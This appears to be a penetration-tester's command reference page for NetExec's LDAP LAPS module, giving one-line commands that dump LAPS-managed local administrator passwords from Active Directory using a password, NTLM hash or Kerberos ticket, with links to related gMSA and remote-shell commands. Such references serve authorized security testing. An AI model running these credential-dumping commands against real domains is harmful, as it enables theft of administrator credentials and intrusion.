NetExec LDAP LAPS

Retrieve LAPS managed local administrator passwords from Active Directory via LDAP

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / gMSA & LAPS
Platform: linux
Requires: password
Protocols: LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap '<ip>' -u '<user>' -p '<password>' -M laps

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap '<ip>' -u '<user>' -H '<hash>' -M laps

Kerberos Ticket requires Kerberos ticket

nxc ldap '<ip>' -u '<user>' --use-kcache -M laps

Examples

nxc ldap '192.168.1.100' -u 'user' -p 'password' -M laps

Tags

nxc ldap laps local-admin credential-dumping

Evil-WinRM Shell Windows Remote Management shell connection
Impacket PSExec Execute commands via PSExec service
BloodyAD LAPS Password Read Read LAPS passwords from Active Directory using BloodyAD
gMSA Password Dump Read password of Group Managed Service Account
Impacket GetLAPSPassword Retrieve LAPS managed local administrator passwords from Active Directory
NetExec LAPS Module (Read ms-MCS-AdmPwd) Read LAPS-managed local admin passwords from ms-MCS-AdmPwd / msLAPS-Password attributes…
NetExec LDAP gMSA Dump Read Group Managed Service Account passwords via NetExec